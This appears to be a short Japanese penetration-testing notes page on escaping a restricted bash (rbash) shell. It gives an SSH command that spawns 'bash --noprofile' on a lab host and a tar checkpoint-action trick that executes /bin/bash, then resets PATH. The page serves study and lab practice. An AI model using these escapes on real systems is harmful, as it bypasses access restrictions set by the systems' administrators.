> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/post-exploitation/escaping-rbash-to-normal-bash-linux.md).
# RBash を通常の Bash に脱出する
rbash の制限を回避し、コマンド実行を回復し、PATH 問題を修正し、通常の Linux シェルへアップグレードするための制限付き Bash 脱出メモ。
### SSH rbash：
ユーザー `mindy` 現在、 `rbash` 多くのコマンドの実行を制限するシェルを使用しています。
この制限を回避するには、SSH接続を必要とするコマンドを使って Bash シェルを取得できます：
```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```
### **rbash バイパス - tar**
私たちは Ayush としてログインしますが、 `rbash` シェルに制限されています。
利用可能なコマンド一覧：
```bash
compgen -c
```
私たちは `tar` を見つけ、 `rbash` 次を付けて:
{% embed url="" %}
```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
---
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